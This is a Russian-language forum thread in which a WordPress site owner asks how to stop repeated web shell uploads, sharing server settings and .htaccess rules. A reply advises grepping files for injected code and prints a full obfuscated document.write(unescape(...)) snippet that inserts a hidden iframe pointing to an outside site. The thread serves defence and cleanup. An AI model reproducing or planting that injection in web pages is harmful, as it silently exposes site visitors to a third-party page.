Безопасность сайта, заливают shell Опции

[PRIHOD]

Приветствую!
Регулярно на один из сайтов заливают шел.
Движок Wordpress последняя версия.
Права на все папки 750 на файлы 644

Доступ фтп открыт для 1 ip. Пароли регулярно меняю.


В корне .ftpaccess

<limit ALL>
Allow from мой ип
Deny from all
</limit>

логи,phpinfo

» Нажмите, чтобы показать спойлер - нажмите опять, чтобы скрыть... «

http://bud-ukraine.com.ua/logs.log
http://bud-ukraine.com.ua/pinfo.php

.htaccess

» Нажмите, чтобы показать спойлер - нажмите опять, чтобы скрыть... «

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{QUERY_STRING} (\<|%3C).*script.*(\>|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]


RewriteRule ^wp-admin/includes/ - [F,L]
RewriteRule !^wp-includes/ - [S=3]
RewriteRule ^wp-includes/[^/]+\.php$ - [F,L]
RewriteRule ^wp-includes/js/tinymce/langs/.+\.php - [F,L]
RewriteRule ^wp-includes/theme-compat/ - [F,L]


RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http(s)?://(www\.)?bud-ukraine.com.ua [NC]
RewriteCond %{HTTP_REFERER} !^http(s)?://(www\.)?bud-ukraine.com.ua [NC]
RewriteRule \.(jpg|jpeg|png|gif)$ http://bud-ukraine.com.ua/hotlink.gif [NC,R,L]

</IfModule>

# END WordPress

<IfModule mod_headers.c>
<FilesMatch "\.(js|css|xml|gz)$">
Header append Vary: Accept-Encoding
</FilesMatch>
</IfModule>

Как обезопасить?

Сообщение отредактировал PRIHOD - Jul 27 2015, 10:42

[Koka-ftp]

из под Opatelecom вы ночью логинились в админку?
xmlrpc вы подымали? пендосия его долбит понемногу))
шел в корень сливают?

[PRIHOD]

из под Opatelecom вы ночью логинились в админку?

нет

xmlrpc вы подымали? пендосия его долбит понемногу))

родной файл wp

шел в корень сливают?

страдает корень, /wp-content/theme, /wp-include

зы: прочитал хабр
будем мониторить логи

Сообщение отредактировал PRIHOD - Jul 27 2015, 10:57

[Koka-ftp]

да, курить логи....смотреть дату создания омна...и смотреть к какому файлу было обращение в тот момент..
я бы ещё файло грепом пробил...

;document.write(unescape

возможно в конце файликов будет что-то типа

» Нажмите, чтобы показать спойлер - нажмите опять, чтобы скрыть... «

;document.write(unescape('%3C%73%63%72%69%70%74%3E%0A%76%61%72%20%5F%30%78%65%30%39%32%3D%5B%22%5C%78%33%43%5C%78%36%34%5C%78%36%39%5C%78%37%36%5C%78%32%30%5C%78%37%33%5C%78%37%34%5C%78%37%39%5C%78%36%43%5C%78%36%35%5C%78%33%44%5C%78%32%32%5C%78%37%30%5C%78%36%46%5C%78%37%33%5C%78%36%39%5C%78%37%34%5C%78%36%39%5C%78%36%46%5C%78%36%45%5C%78%33%41%5C%78%36%31%5C%78%36%32%5C%78%37%33%5C%78%36%46%5C%78%36%43%5C%78%37%35%5C%78%37%34%5C%78%36%35%5C%78%33%42%5C%78%32%30%5C%78%37%34%5C%78%36%46%5C%78%37%30%5C%78%33%41%5C%78%32%44%5C%78%33%35%5C%78%33%30%5C%78%33%38%5C%78%37%30%5C%78%37%38%5C%78%33%42%5C%78%32%32%5C%78%33%45%5C%78%33%43%5C%78%36%39%5C%78%36%36%5C%78%37%32%5C%78%36%31%5C%78%36%44%5C%78%36%35%5C%78%32%30%5C%78%37%33%5C%78%37%32%5C%78%36%33%5C%78%33%44%5C%78%32%32%5C%78%36%38%5C%78%37%34%5C%78%37%34%5C%78%37%30%5C%78%33%41%5C%78%32%46%5C%78%32%46%5C%78%37%34%5C%78%36%38%5C%78%36%35%5C%78%36%44%5C%78%36%46%5C%78%36%34%5C%78%37%35%5C%78%36%43%5C%78%36%35%5C%78%37%33%5C%78%32%45%5C%78%37%32%5C%78%37%35%5C%78%32%46%5C%78%32%32%5C%78%33%45%5C%78%33%43%5C%78%32%46%5C%78%36%39%5C%78%36%36%5C%78%37%32%5C%78%36%31%5C%78%36%44%5C%78%36%35%5C%78%33%45%5C%78%33%43%5C%78%32%46%5C%78%36%34%5C%78%36%39%5C%78%37%36%5C%78%33%45%22%2C%22%5C%78%37%37%5C%78%37%32%5C%78%36%39%5C%78%37%34%5C%78%36%35%22%5D%3B%64%6F%63%75%6D%65%6E%74%5B%5F%30%78%65%30%39%32%5B%31%5D%5D%28%5F%30%78%65%30%39%32%5B%30%5D%29%3B%3C%2F%73%63%72%69%70%74%3E'));

ещё вариант, просканить ресур этим